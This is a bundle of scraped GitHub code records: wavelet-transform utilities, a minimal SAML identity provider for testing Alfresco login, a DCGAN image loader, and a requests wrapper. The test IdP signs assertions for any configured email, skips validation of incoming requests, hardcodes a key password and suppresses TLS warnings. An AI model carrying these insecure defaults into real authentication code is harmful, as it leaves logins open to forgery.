[.160102397974,.603829269797,.724308528438,\n .138428145901,-.242294887066,-.032244869585,\n .077571493840,-.006241490213,-.012580751999,\n .003335725285]\n \n if par == 12:\n f = [.111540743350,.494623890398,.751133908021,\n .315250351709,-.226264693965,-.129766867567,\n .097501605587,.027522865530,-.031582039317,\n .000553842201,.004777257511,-.001077301085]\n \n if par == 14:\n f = [.077852054085,.396539319482,.729132090846,\n .469782287405,-.143906003929,-.224036184994,\n .071309219267,.080612609151,-.038029936935,\n -.016574541631,.012550998556,.000429577973,\n -.001801640704,.000353713800]\n \n if par == 16:\n f = [.054415842243,.312871590914,.675630736297,\n .585354683654,-.015829105256,-.284015542962,\n .000472484574,.128747426620,-.017369301002,\n -.044088253931,.013981027917,.008746094047,\n -.004870352993,-.000391740373,.000675449406,\n -.000117476784]\n \n if par == 18:\n f = [.038077947364,.243834674613,.604823123690,\n .657288078051,.133197385825,-.293273783279,\n -.096840783223,.148540749338,.030725681479,\n -.067632829061,.000250947115,.022361662124,\n -.004723204758,-.004281503682,.001847646883,\n .000230385764,-.000251963189,.000039347320]\n \n if par == 20:\n f = [.026670057901,.188176800078,.527201188932,\n .688459039454,.281172343661,-.249846424327,\n -.195946274377,.127369340336,.093057364604,\n -.071394147166,-.029457536822,.033212674059,\n .003606553567,-.010733175483,.001395351747,\n .001992405295,-.000685856695,-.000116466855,\n .000093588670,-.000013264203]\n \n else:\n raise ValueError(\"Wrong arguments, see comments for acceptable values\")\n \n f = list(f/np.linalg.norm(f))\n \n if len(f)%2 == 0:\n f = [0] + f\n return f\n\n\ndef perform_wavortho_transf(f, Jmin, dir, h):\n \"\"\"\n perform_wavortho_transf - compute orthogonal wavelet transform\n fw = perform_wavortho_transf(f,Jmin,dir,options);\n You can give the filter in options.h.\n Works in 2D only.\n Copyright (c) 2014 Gabriel Peyre\n \"\"\"\n\n n = f.shape[1]\n Jmax = int(np.log2(n)) - 1\n # compute g filter\n u = np.power(-np.ones(len(h) - 1), range(1, len(h)))\n # alternate +1/-1\n g = np.concatenate(([0], h[-1:0:-1] * u))\n\n if dir == 1:\n ### FORWARD ###\n fW = f.copy()\n for j in np.arange(Jmax, Jmin - 1, -1):\n A = fW[:2 ** (j + 1):, :2 ** (j + 1):]\n for d in np.arange(1, 3):\n Coarse = subsampling(cconv(A, h, d), d)\n Detail = subsampling(cconv(A, g, d), d)\n A = np.concatenate((Coarse, Detail), axis=d - 1)\n fW[:2 ** (j + 1):, :2 ** (j + 1):] = A\n return fW\n else:\n ### BACKWARD ###\n fW = f.copy()\n f1 = fW.copy()\n for j in np.arange(Jmin, Jmax + 1):\n A = f1[:2 ** (j + 1):, :2 ** (j + 1):]\n for d in np.arange(1, 3):\n if d == 1:\n Coarse = A[:2**j:, :]\n Detail = A[2**j: 2**(j + 1):, :]\n else:\n Coarse = A[:, :2 ** j:]\n Detail = A[:, 2 ** j:2 ** (j + 1):]\n Coarse = cconv(upsampling(Coarse, d), reverse(h), d)\n Detail = cconv(upsampling(Detail, d), reverse(g), d)\n A = Coarse + Detail\n f1[:2 ** (j + 1):, :2 ** (j + 1):] = A\n return f1\n\n\n\ndef perform_wavelet_transf(f, Jmin, dir, filter = \"9-7\",separable = 0, ti = 0):\n\n \"\"\"\"\"\n perform_wavelet_transf - peform fast lifting transform\n y = perform_wavelet_transf(x, Jmin, dir, filter = \"9-7\",separable = 0, ti = 0);\n Implement 1D and 2D symmetric wavelets with symmetric boundary treatements, using\n a lifting implementation.\n filter gives the coefficients of the lifting filter.\n You can use h='linear' or h='7-9' to select automatically biorthogonal\n transform with 2 and 4 vanishing moments.\n You can set ti=1 to compute a translation invariant wavelet transform.\n You can set separable=1 to compute a separable 2D wavelet\n transform.\n Copyright (c) 2008 Gabriel Peyre\n \"\"\"\n\n #copy f\n x = np.copy(f)\n\n #convert Jmin to int\n Jmin = int(Jmin)\n\n # detect dimensionality\n d = np.ndim(x)\n # P/U/P/U/etc the last coefficient is scaling\n if filter in [\"linear\",\"5-3\"]:\n h = [1/2, 1/4, np.sqrt(2)]\n\n elif filter in [\"9-7\",\"7-9\"]:\n h = [1.586134342, -.05298011854, -.8829110762, .4435068522, 1.149604398]\n\n else:\n raise ValueError('Unknown filter')\n\n if d == 2 and separable == 1:\n ti = 0\n if ti == 1:\n wrn.warning(\"Separable does not works for translation invariant transform\")\n\n # perform a separable wavelet transform\n n = np.shape(x)[0]\n if dir == 1:\n for i in range(n):\n x[:,i] = perform_wavelet_transf(x[:,i], Jmin, dir, filter, separable, ti)\n for i in range(n):\n x[i,:] = np.transpose(perform_wavelet_transf(np.transpose(x[i,:]), Jmin, dir, filter, separable, ti))\n else:\n for i in range(n):\n x[i,:] = np.transpose(perform_wavelet_transf(np.transpose(x[i,:]), Jmin, dir, filter, separable, ti))\n for i in range(n):\n x[:,i] = perform_wavelet_transf(x[:,i], Jmin, dir, filter, separable, ti)\n\n\n # number of lifting steps\n if np.ndim(x) == 1:\n n = len(x)\n else:\n n = np.shape(x)[1]\n m = (len(h)-1)//2\n Jmax = int(np.log2(n)-1)\n jlist = range(Jmax,Jmin-1,-1)\n\n if dir == -1:\n jlist = range(Jmin,Jmax+1,1)\n\n if ti == 0:\n # subsampled\n for j in jlist:\n if d == 1:\n x[:2**(j+1),:] = lifting_step(x[:2**(j+1)], h, dir)\n else:\n x[:2**(j+1),:2**(j+1)] = lifting_step(x[:2**(j+1),:2**(j+1)], h, dir)\n x[:2**(j+1),:2**(j+1)] = np.transpose(lifting_step(np.transpose(x[:2**(j+1),:2**(j+1)]), h, dir))\n\n else:\n # TI\n nJ = Jmax - Jmin + 1\n if dir == 1 and d == 1:\n x = np.tile(x,(nJ + 1,1,1))\n elif dir == 1 and d == 2:\n x = np.tile(x,(3*nJ + 1,1,1))\n #elif dir == 1:\n # x = np.tile(x,(1,1,1))\n for j in jlist:\n dist = 2**(Jmax - j)\n\n if d == 1:\n if dir == 1:\n x[:(j-Jmin+2),:,:] = lifting_step_ti(x[0,:,:], h, dir, dist)\n else:\n x[0,:,:] = lifting_step_ti(x[:(j-Jmin+2),:,:], h, dir, dist)\n else:\n dj = 3*(j-Jmin)\n\n if dir == 1:\n x[[0,dj+1],:,:] = lifting_step_ti(x[0,:,:], h, dir, dist)\n\n x[[0,dj+2],:,:] = lifting_step_ti(np.transpose(x[0,:,:]), h, dir, dist)\n x[0,:,:] = np.transpose(x[0,:,:])\n x[dj+2,:,:] = np.transpose(x[dj+2,:,:])\n\n x[[1+dj,3+dj],:,:] = lifting_step_ti(np.transpose(x[dj+1,:,:]), h, dir, dist)\n x[dj+1,:,:] = np.transpose(x[dj+1,:,:])\n x[dj+3,:,:] = np.transpose(x[dj+3,:,:])\n else:\n\n x[dj+1,:,:] = np.transpose(x[dj+1,:,:])\n x[dj+3,:,:] = np.transpose(x[dj+3,:,:])\n\n x[dj+1,:,:] = np.transpose(lifting_step_ti(x[[1+dj, 3+dj],:,:], h, dir, dist))\n\n x[0,:,:] = np.transpose(x[0,:,:])\n x[dj+2,:,:] = np.transpose(x[dj+2,:,:])\n x[0,:,:] = np.transpose(lifting_step_ti(x[[0,dj+2],:,:], h, dir, dist))\n\n x[0,:,:] = lifting_step_ti(x[[0,dj+1],:,:], h, dir, dist)\n\n if dir == -1:\n x = x[0,:,:]\n\n return x\n\n###########################################################################\n###########################################################################\n###########################################################################\n\ndef lifting_step(x0, h, dir):\n\n #copy x\n x = np.copy(x0)\n\n # number of lifting steps\n m = (len(h) - 1)//2\n\n if dir==1:\n # split\n d = x[1::2,]\n x = x[0::2,]\n for i in range(m):\n d = d - h[2*i] * (x + np.vstack((x[1:,],x[-1,])))\n x = x + h[2*i+1] * (d + np.vstack((d[0,],d[:-1,])))\n x = np.vstack((x*h[-1],d/h[-1]))\n\n else:\n # retrieve detail coefs\n end = len(x)\n d = x[end//2:,]*h[-1]\n x = x[:end//2,]/h[-1]\n for i in range(m,0,-1):\n x = x - h[2*i-1] * (d + np.vstack((d[0,],d[:-1,])))\n d = d + h[2*i-2] * (x + np.vstack((x[1:,],x[-1,])))\n # merge\n x1 = np.vstack((x,x))\n x1[::2,] = x\n x1[1::2,] = d\n x = x1\n\n return x\n\n###########################################################################\n###########################################################################\n###########################################################################\ndef lifting_step_ti(x0, h, dir, dist):\n\n #copy x\n x = np.copy(x0)\n\n # number of lifting steps\n m = (len(h) - 1)//2\n n = np.shape(x[0])[0]\n\n s1 = np.arange(1, n+1) + dist\n s2 = np.arange(1, n+1) - dist\n\n # boundary conditions\n s1[s1 > n] = 2*n - s1[s1 > n]\n s1[s1 < 1] = 2 - s1[s1 < 1]\n\n s2[s2 > n] = 2*n - s2[s2 > n]\n s2[s2 < 1] = 2 - s2[s2 < 1]\n\n #indices in python start from 0\n s1 = s1 - 1\n s2 = s2 - 1\n\n if dir == 1:\n # split\n d = x\n for i in range(m):\n if np.ndim(x) == 2 :\n x = np.tile(x,(1,1,1))\n d = d - h[2*i] * (x[:,s1,:] + x[:,s2,:])\n x = x + h[2*i+1] * (d[:,s1,:] + d[:,s2,:])\n\n #merge\n x = np.concatenate((x*h[-1],d/h[-1]))\n\n else:\n # retrieve detail coefs\n\n d = x[1,:,:]*h[-1]\n x = x[0,:,:]/h[-1]\n\n for i in range(m,0,-1):\n x = x - h[2*i-1] * (d[s1,:] + d[s2,:])\n d = d + h[2*i-2] * (x[s1,:] + x[s2,:])\n\n # merge\n x = (x + d)/2\n \n return x\n\n\ndef imageplot(f, str='', sbpt=[]):\n \"\"\"\n Use nearest neighbor interpolation for the display.\n \"\"\"\n if sbpt != []:\n plt.subplot(sbpt[0], sbpt[1], sbpt[2])\n imgplot = plt.imshow(f, interpolation='nearest')\n imgplot.set_cmap('gray')\n pylab.axis('off')\n if str != '':\n plt.title(str)\n\ndef plot_coeff(fW, Jmin=2):\n \"\"\"\n plot_coeff - plot wavelets coefficients.\n\n U = plot_coeff(fW, Jmin):\n\n Copyright (c) 2014 Gabriel Peyre\n \"\"\"\n def rescaleWav(A):\n v = abs(A).max()\n B = A.copy()\n if v > 0:\n B = .5 + .5 * A / v\n return B\n\n def rescale(f,a=0,b=1):\n \"\"\"\n Rescale linearly the dynamic of a vector to fit within a range [a,b]\n \"\"\"\n v = f.max() - f.min()\n g = (f - f.min()).copy()\n if v > 0:\n g = g / v\n return a + g*(b-a)\n\n ##\n n = fW.shape[1]\n Jmax = int(np.log2(n)) - 1\n U = fW.copy()\n for j in np.arange(Jmax, Jmin - 1, -1):\n U[:2 ** j:, 2 ** j:2 **\n (j + 1):] = rescaleWav(U[:2 ** j:, 2 ** j:2 ** (j + 1):])\n U[2 ** j:2 ** (j + 1):, :2 **\n j:] = rescaleWav(U[2 ** j:2 ** (j + 1):, :2 ** j:])\n U[2 ** j:2 ** (j + 1):, 2 ** j:2 ** (j + 1):] = (\n rescaleWav(U[2 ** j:2 ** (j + 1):, 2 ** j:2 ** (j + 1):]))\n # coarse scale\n U[:2 ** j:, :2 ** j:] = rescale(U[:2 ** j:, :2 ** j:])\n # plot underlying image\n imageplot(U)\n # display crosses\n for j in np.arange(Jmax, Jmin - 1, -1):\n plt.plot([0, 2 ** (j + 1)], [2 ** j, 2 ** j], 'r')\n plt.plot([2 ** j, 2 ** j], [0, 2 ** (j + 1)], 'r')\n # display box\n plt.plot([0, n], [0, 0], 'r')\n plt.plot([0, n], [n, n], 'r')\n plt.plot([0, 0], [0, n], 'r')\n plt.plot([n, n], [0, n], 'r')\n return U\n\n\n\ndef subsampling(x, d):\n # subsampling along dimension d by factor p=2\n p = 2\n if d == 1:\n y = x[::p, :]\n elif d == 2:\n y = x[:, ::p]\n else:\n raise Exception('Not implemented')\n return y\n\ndef upsampling(x, d):\n \"\"\"\n up-sampling along dimension d by factor p=2\n \"\"\"\n p = 2\n s = x.shape\n if d == 1:\n y = np.zeros((p * s[0], s[1]))\n y[::p, :] = x\n elif d == 2:\n y = np.zeros((s[0], p * s[1]))\n y[:, ::p] = x\n else:\n raise Exception('Not implemented')\n return y\n\n\n\ndef cconv(x, h, d):\n \"\"\"\n Circular convolution along dimension d.\n h should be small and with odd size\n \"\"\"\n if d == 2:\n # apply to transposed matrix\n return np.transpose(cconv(np.transpose(x), h, 1))\n y = np.zeros(x.shape)\n p = len(h)\n pc = int(round( float((p - 1) / 2 )))\n for i in range(0, p):\n y = y + h[i] * circshift1d(x, i - pc)\n return y\n\n\ndef reverse(x):\n \"\"\"\n Reverse a vector.\n \"\"\"\n return x[::-1]\n\n\ndef circshift(x, p):\n \"\"\"\n Circular shift of an array.\n \"\"\"\n y = x.copy()\n y = np.concatenate((y[p[0]::, :], y[:p[0]:, :]), axis=0)\n if x.shape[1] > 0 and len(p) > 1:\n y = np.concatenate((y[:, p[0]::], y[:, :p[0]:]), axis=1)\n return y\n\ndef circshift1d(x, k):\n \"\"\"\n Circularly shift a 1D vector\n \"\"\"\n return np.roll(x, -k, axis=0)\n\n\ndef plot_wavelet(fW, Jmin=0):\n \"\"\"\n plot_wavelet - plot wavelets coefficients.\n U = plot_wavelet(fW, Jmin):\n Copyright (c) 2014 Gabriel Peyre\n \"\"\"\n def rescaleWav(A):\n v = abs(A).max()\n B = A.copy()\n if v > 0:\n B = .5 + .5 * A / v\n return B\n ##\n n = fW.shape[1]\n Jmax = int(np.log2(n)) - 1\n U = fW.copy()\n for j in np.arange(Jmax, Jmin - 1, -1):\n U[:2 ** j:, 2 ** j:2 **\n (j + 1):] = rescaleWav(U[:2 ** j:, 2 ** j:2 ** (j + 1):])\n U[2 ** j:2 ** (j + 1):, :2 **\n j:] = rescaleWav(U[2 ** j:2 ** (j + 1):, :2 ** j:])\n U[2 ** j:2 ** (j + 1):, 2 ** j:2 ** (j + 1):] = (\n rescaleWav(U[2 ** j:2 ** (j + 1):, 2 ** j:2 ** (j + 1):]))\n # coarse scale\n U[:2 ** j:, :2 ** j:] = rescale(U[:2 ** j:, :2 ** j:])\n # plot underlying image\n imageplot(U)\n # display crosses\n for j in np.arange(Jmax, Jmin - 1, -1):\n plt.plot([0, 2 ** (j + 1)], [2 ** j, 2 ** j], 'r')\n plt.plot([2 ** j, 2 ** j], [0, 2 ** (j + 1)], 'r')\n # display box\n plt.plot([0, n], [0, 0], 'r')\n plt.plot([0, n], [n, n], 'r')\n plt.plot([0, 0], [0, n], 'r')\n plt.plot([n, n], [0, n], 'r')\n return U\n\ndef rescale(f,a=0,b=1):\n \"\"\"\n Rescale linearly the dynamic of a vector to fit within a range [a,b]\n \"\"\"\n v = f.max() - f.min()\n g = (f - f.min()).copy()\n if v > 0:\n g = g / v\n return a + g*(b-a)\n","repo_name":"Guillaume-Garrigos/invprob","sub_path":"invprob/wavelet.py","file_name":"wavelet.py","file_ext":"py","file_size_in_byte":18757,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"73290649155","text":"#!/usr/bin/python3\nfrom wsgiref.simple_server import make_server\nimport urllib.parse\nimport traceback\nimport base64\nimport subprocess\nimport datetime\nimport uuid\nimport xml.etree.ElementTree\nimport getopt, sys\nimport configparser\n\n# http://localhost:8080/share/madon.net/page/console/cloud-console/saml-settings\n# http://madona.example.foo:8080/share/madon.net\n# http://localhost:8080/share/madon.net\n# SAML: Security Assertion Markup Language\n# Assertion Consumer Service (ACS)\n\n# samples:\n# https://www.samltool.com/generic_sso_res.php\n# http://simplesamlphp.googlecode.com/svn-history/r12/trunk/lib/SimpleSAML/XML/SAML20/AuthnResponse.php\n# see function generate()\n# idp-initiated:\n# http://help.boomi.com/atomsphere/GUID-DF19946D-060E-4299-AFCF-ED3201FC2B19.html\n# logout:\n# http://xacmlinfo.org/2013/06/28/how-saml2-single-logout-works/\n# see also sp xml: \n# we need 2 urls because of fig 3 page 33 of saml-profiles-2.0-os.pdf\n\n\n\n# ###### config begin ############\n# get response URLs from alfrescoSamlSpMetadata.xml\n\ndef logout_response_url():\n # return b'http://madona.example.foo:8080/share/madon.net/saml/logoutresponse'\n # return b'http://madona.example.foo:8080/share/page/saml-logoutresponse'\n return conf['logout_response_url']\n\ndef authentication_response_url():\n # return b'http://madona.example.foo:8080/share/madon.net/saml/authnresponse'\n # return b'http://madona.example.foo:8080/share/page/saml-authnresponse'\n return conf['authentication_response_url']\n\n\ndef issuer1():\n # return b'my.alfresco.com-madon.net'\n return conf['issuer1']\ndef issuer2():\n # return b'madon.net'\n return conf['issuer2']\n\ndef audience():\n # return b'https://my.alfresco.com-madon.net'\n # return b'http://madona.example.foo:8080'\n return conf['audience']\n\n# ############# end of config #############\n\n\n\ndef debug(*message):\n print(*message)\n\ndef get_x509():\n f = open(conf['cert_public'],'r')\n lines=f.readlines()\n # print(lines)\n # for line in lines:\n # print('xxx',line)\n stripped=lines[1:-1]\n stripped_data=''.join(stripped)\n stripped_data=stripped_data.strip()\n f.close()\n return stripped_data \n \ndef signature_template(assertionid):\n return b'''\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n '''+get_x509().encode('utf8')+b'''\n \n\n \n'''\n\ndef command_to_sign(id_urn):\n # cert_private='/home/madon/saml/pki/server.key'\n # cert_private_password='mypass'\n command=['xmlsec1','--sign','--privkey-pem',conf['cert_private'].decode('utf8'),'--pwd',conf['cert_private_password'].decode('utf8'),'--id-attr:ID',id_urn,'--output','/tmp/response_signed.xml','/tmp/response.xml']\n \n return command\n\ndef sign(response,id_urn):\n # id_urn ='urn:oasis:names:tc:SAML:2.0:assertion:Assertion'\n # or\n # id_urn:oasis:names:tc:SAML:2.0:protocol:LogoutResponse\n f=open('/tmp/response.xml','wb')\n XX='sign'\n f.write(response)\n f.close()\n # xmlsec1 --sign --privkey-pem /home/madon/saml/pysaml2-master/example/server.key --output sample2_signed.xml /tmp/response.xml\n # /home/madon/saml/pysaml2-master/example/server.key\n #\n\n command=command_to_sign(id_urn)\n # command=['xmlsec1','--sign','--privkey-pem','/home/madon/saml/pki/server.key','--output','/tmp/response_signed.xml','/tmp/response.xml']\n debug(XX,'command=',' '.join(command))\n proc = subprocess.Popen(command)\n outs, errs = proc.communicate()\n debug(XX,outs, errs)\n f=open('/tmp/response_signed.xml','rb')\n response=f.read()\n f.close()\n return response\n\n\ndef generate_id():\n return str(uuid.uuid4()).encode('utf8')\n\n\n\ndef forge_response_logoutresponse(inresponseto):\n responseid=generate_id()\n issueinstant=datetime.datetime.now(datetime.timezone.utc).isoformat().encode('utf8')\n\n response=b'''\n '''+issuer1()+b'''\n '''+signature_template(responseid)+b'''\n \n \n \n'''\n return response\n\n# xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" \n\ndef forge_response_authnresponse(inresponseto):\n\n assertionid=generate_id() # b'_f41c8f91-294b-42c6-bfc5-c43d5b6461d0'\n responseid=generate_id() # b'_3b68164b-4be0-4ba1-863c-d892877b1164'\n sessionindex=generate_id()\n \n\n issueinstant=datetime.datetime.now(datetime.timezone.utc).isoformat().encode('utf8') # e.g b'2015-03-12T13:19:01.886Z'\n assertionexpire=(datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(minutes=5)).isoformat().encode('utf8')\n notbefore=(datetime.datetime.now(datetime.timezone.utc)-datetime.timedelta(seconds=30)).isoformat().encode('utf8')\n\n\n response=b'''\n'''+issuer1()+b'''\n\n \n\n\n '''+issuer2()+b'''\n '''+signature_template(assertionid)+b'''\n \n '''+conf['email']+b'''\n \n \n \n \n \n \n '''+audience()+b'''\n \n \n \n '''+conf['email']+b'''\n \n \n \n urn:federation:authentication:windows\n \n \n \n'''\n return response\n\ndef forge(environ):\n XX=\"forge\"\n status = '200 OK' # HTTP Status\n headers = [('Content-type', 'text/html; charset=utf-8')] # HTTP Headers\n content=b\"we only support POST\"\n\n if environ['REQUEST_METHOD']=='POST':\n debug(XX,\"environ=\",environ)\n content=b'

Alex IdP server

we got a post'\n debug(XX,dir(environ['wsgi.file_wrapper']))\n debug(XX,'wsgi.input',environ['wsgi.input'])\n data = environ['wsgi.input'].read(int(environ['CONTENT_LENGTH']))\n debug(XX,'data',data)\n qs = urllib.parse.parse_qs(data)\n debug(XX,'qs',qs)\n debug(XX, 'qs.keys()', qs.keys())\n samlrequest=b''\n for key in qs.keys():\n debug(XX,'key',key,qs[key])\n content=content+b'

'+key+b'

'\n if key in [b'SAMLRequest',b'KeyInfo',b'Signature']:\n # pass\n bdecoded=base64.standard_b64decode(qs[key][0])\n debug(XX,key,'decoded',bdecoded,)\n if key in [b'SAMLRequest']:\n samlrequest=bdecoded\n content=content+b'\\n\\n
'+bdecoded.replace(b'<',b'\\n<')+b'
'\n else:\n content=content+b'\\n\\n
'+qs[key][0].replace(b'<',b'\\n<')+b'
'\n\n # we should make checks (signature) on samlrequest\n\n # extract AssertionConsumerServiceURL (acs) and ID from XML request\n root = xml.etree.ElementTree.fromstring(samlrequest)\n debug(XX,'root.tag',root.tag)\n debug(XX,'root.attrib',root.attrib)\n\n content=content+b'

SAMLRequest root

'\n content=content+b'Tag: '+root.tag.encode('utf8')\n content=content+b'
Attrib: '+', '.join(root.attrib).encode('utf8')\n\n if root.tag==\"{urn:oasis:names:tc:SAML:2.0:protocol}LogoutRequest\":\n # alfrescoSamlSpMetadata.xml \n # http://localhost:8080/share/madon.net/proxy/alfresco/saml/sp/metadata?a=true\n # \n # \n acs=logout_response_url() # b'http://madona.example.foo:8080/share/madon.net/saml/logoutresponse'\n human_action=b'Logout'\n forge_response_fct=forge_response_logoutresponse\n id_urn='urn:oasis:names:tc:SAML:2.0:protocol:LogoutResponse'\n # urn ='urn:oasis:names:tc:SAML:2.0:assertion:Assertion'\n # or\n # urn:oasis:names:tc:SAML:2.0:protocol:LogoutResponse\n else:\n acs=root.attrib['AssertionConsumerServiceURL'].encode('utf8')\n human_action=b'Authenticate'\n forge_response_fct=forge_response_authnresponse\n id_urn='urn:oasis:names:tc:SAML:2.0:assertion:Assertion'\n inresponseto=root.attrib['ID'].encode('utf8')\n content=content+b'

Request contained:

'\n content=content+b'acs (AssertionConsumerServiceURL)='+acs+b'
'\n content=content+b'inresponseto (ID)='+inresponseto+b'
'\n\n\n \n response=forge_response_fct(inresponseto)\n response=sign(response,id_urn)\n\n\n \n content=content+b'

we will send SAMLResponse

'\n        content=content+response.replace(b'<',b'<')\n        content=content+b'

'+human_action+b'

'\n content=content+b'
'\n content=content+b''\n content=content+b'
'\n # payload=\"\"\n # for chunk in environ['wsgi.file_wrapper']:\n # debug(XX,chunk)\n return (status,headers,content)\n\n\ndef check_xmlsec1():\n # raise an error if xmlsec1 is not installed\n try:\n subprocess.run([\"xmlsec1\"],stdout=subprocess.DEVNULL)\n except:\n raise\n \ndef hello_world_app(environ, start_response):\n XX=\"hello_world_app\"\n # debug(XX,\"environ=\",environ)\n # debug(XX,environ[],environ[])\n (status,headers,content)=forge(environ)\n start_response(status, headers)\n return [content,]\n\ndef display_conf(intro):\n print(\"+++++\",intro,\"+++++\")\n for key in conf.keys():\n print(\"default\",key,'=',conf[key])\n\n \nif __name__ == \"__main__\":\n conf={}\n\n # default config\n conf['cert_private']=b'/home/madon/saml/pki/server.key'\n conf['cert_public']=b'/home/madon/saml/pki/server.crt'\n conf['cert_private_password']=b'mypass'\n conf['email']=b'idpuser@madon.net'\n conf['showhelp']=False\n \n conf['logout_response_url']=b'http://madona.example.foo:8080/share/page/saml-logoutresponse'\n conf['authentication_response_url']=b'http://madona.example.foo:8080/share/page/saml-authnresponse'\n conf['audience']=b'http://madona.example.foo:8080'\n conf['issuer1']=b'my.alfresco.com-madon.net'\n conf['issuer2']=b'madon.net'\n\n conf['config_file']='config.ini'\n\n\n \n display_conf(\"Default parameter values\")\n \n\n optlist, list = getopt.getopt(sys.argv[1:], 'e:hp:P:w:c:')\n \n # check if there is a config file in command line\n for option in optlist:\n if option[0] == '-c':\n conf['config_file']=option[1]\n\n\n print(\"Checking values to overwrite from\",conf['config_file'],\"..................\")\n \n# parse the config file\n config = configparser.ConfigParser()\n config.read(conf['config_file'])\n sections=config.sections()\n\n config_array=config.defaults()\n\n for akey in config_array:\n print(\"reading\",akey,\"from\",conf['config_file'],\"and setting to\",config_array[akey])\n conf[akey]=config_array[akey].encode('utf8')\n\n display_conf(\"New parameter values after parsing config file\")\n\n\n# second pass to override config file\n for option in optlist:\n if option[0] == '-e':\n conf['email']=option[1].encode('utf8')\n if option[0] == '-h':\n conf['showhelp']=True\n if option[0] == '-p':\n conf['cert_private']=option[1].encode('utf8')\n if option[0] == '-P':\n conf['cert_public']=option[1].encode('utf8')\n if option[0] == '-w':\n conf['cert_private_password']=option[1]\n \n display_conf(\"New and final parameter values after parsing command line\")\n \n\n \n if conf['showhelp']:\n print(\"\"\"Alex Minimal IdP \nUsage: ./saml_wsgi.py [ options ... ]\n where options include:\n\n-h : this Help message\n-e : the Email address of the user the IdP knows about. \n ---- Default: \"\"\"+conf['email'].decode('utf8')+\"\"\"\n-p : the private key used to sign SAML messages. \n ---- Default: \"\"\"+conf['cert_private']+\"\"\"\n-P : the Public cert used to embed in SAML messages. That cert needs also to be uploaded to the SL (Alfresco)\n ---- Default: \"\"\"+conf['cert_public']+\"\"\"\n-w : the passWord for the private key\n --- Default: \"\"\"+conf['cert_private_password']+\"\"\"\n-c : default config.ini\n\nAbout the server:\n================\nThis is a minimal IdP written in python.\nIt knowns only one user at a time.\nDigital Signature is delagated to an external program: xmlsec1 (to be installed).\nOn Debian, to install: apt-get install xmlsec1\nTo digitally sign, you will need a pair (public key, private key)\n\nA *minimal* server:\n==================\nThe server is *minimal*, in the sense that it is close to the minimum number of lines to write to get a successful login with alfresco and a successful logout. It knows about only one user at a time. It does not know about more than one SP (when doing a SLO it does not log out from other SP as Alfresco is the only SP it knows about)\nThere is no password or identity management.\nThere is no automatic parsing of SP Metadata XML file. The field that Alfrescp SP expects is hardcoded.\nThere is no validation of the signature when reading message sent by the SP (we hower do sign our messages sent to the SP as Alfresco refuses to take them into account if not signed, for security reasons).\n\nThe goal is to make testing of Alfresco SAML (as a SAMLv2 Service Provider) the simplest possible. \n\nAlfresco SP configuration:\n==========================\nIn the (Cloud) SAML configuiration page, the three URL parameters:\nIdP AuthenticationRequest Service URL\nIdP SingleLogoutRequest Service URL\nIdP SingleLogoutResponse Service URL\n\nshould be set to this server URL (http://:)\n\nThe cert to upload is the same as the value of the -P option.\n\n\"\"\")\n quit()\n print(\"Starting minimal IdP server....\")\n print(\"Signing command will be:\")\n print(' '.join(command_to_sign('')))\n print('IdP knowing user:',conf['email'])\n check_xmlsec1()\n print(\"X509 data used will be (from public key):\")\n print(get_x509())\n # quit()\n httpd = make_server('', 8000, hello_world_app)\n print(\"Serving on port 8000...\")\n # Serve until process is killed\n httpd.serve_forever()\n\n\n # errors: date in future, replayed ID, no base64, no ID, no encryption, no email, etc...\n","repo_name":"alexmadon/saml_wsgi","sub_path":"saml_wsgi.py","file_name":"saml_wsgi.py","file_ext":"py","file_size_in_byte":17170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3252243938","text":"# only face images, no target / label\nfrom config import HP\nfrom torchvision import transforms as T # torchaudio(speech) / torchtext(text)\nimport torchvision.datasets as TD\nfrom torch.utils.data import DataLoader\nimport os\n\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'True' # openKMP cause unexpected error\n\n# apply a label to corresponding\ndata_face = TD.ImageFolder(root=HP.data_root,\n transform=T.Compose([\n T.Resize(HP.image_size), # 64x64x3\n T.CenterCrop(HP.image_size),\n T.ToTensor(), # to [0, 1]\n T.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)) # can't apply ImageNet statistic\n ]),\n )\n\nface_loader = DataLoader(data_face,\n batch_size=HP.batch_size,\n shuffle=True,\n num_workers=HP.n_workers) # 2 workers\n\n# normalize: x_norm = (x - x_avg) / std de-normalize: x_denorm = (x_norm * std) + x_avg\ninvTrans = T.Compose([\n T.Normalize(mean=[0., 0., 0.], std=[1/0.5, 1/0.5, 1/0.5]),\n T.Normalize(mean=[-0.5, -0.5, -0.5], std=[1., 1., 1.]),\n])\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n import torchvision.utils as vutils\n\n for data, _ in face_loader:\n print(data.size()) # NCHW\n # format into 8x8 image grid\n grid = vutils.make_grid(data, nrow=8) #\n plt.imshow(invTrans(grid).permute(1, 2, 0)) # NHWC\n plt.show()\n break","repo_name":"TANGJIE1221/DCGAN_for_face","sub_path":"discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30835850942","text":"import requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\nimport sys\nimport os\nimport json\n#custom headers here. leave empty if not needed. does not need application/json\nheaders = {}\n\nclass _fwdRequest:\n def __init__(self, base_url, **kwargs):\n self.base_url = base_url\n self.session = requests.Session()\n self.session.headers.update({'Content-Type': \"application/json\"})\n for arg in kwargs:\n if isinstance(kwargs[arg], dict):\n kwargs[arg] = self.__deep_merge(getattr(self.session, arg), kwargs[arg])\n setattr(self.session, arg, kwargs[arg]) \n \n def requests(self, method, url, **kwargs):\n return self.session.request(method, self.base_url+url, **kwargs)\n\n def get(self, endpoint, **kwargs):\n return self.session.get(self.base_url+endpoint, **kwargs)\n\n def post(self, endpoint, **kwargs):\n return self.session.post(self.base_url+endpoint, **kwargs)\n\n def patch(self, endpoint, **kwargs):\n return self.session.patch(self.base_url+endpoint, **kwargs)\n\n def put(self, endpoint, **kwargs): \n return self.session.put(self.base_url+endpoint, **kwargs)\n\n def delete(self, endpoint, **kwargs):\n return self.session.delete(self.base_url+endpoint, 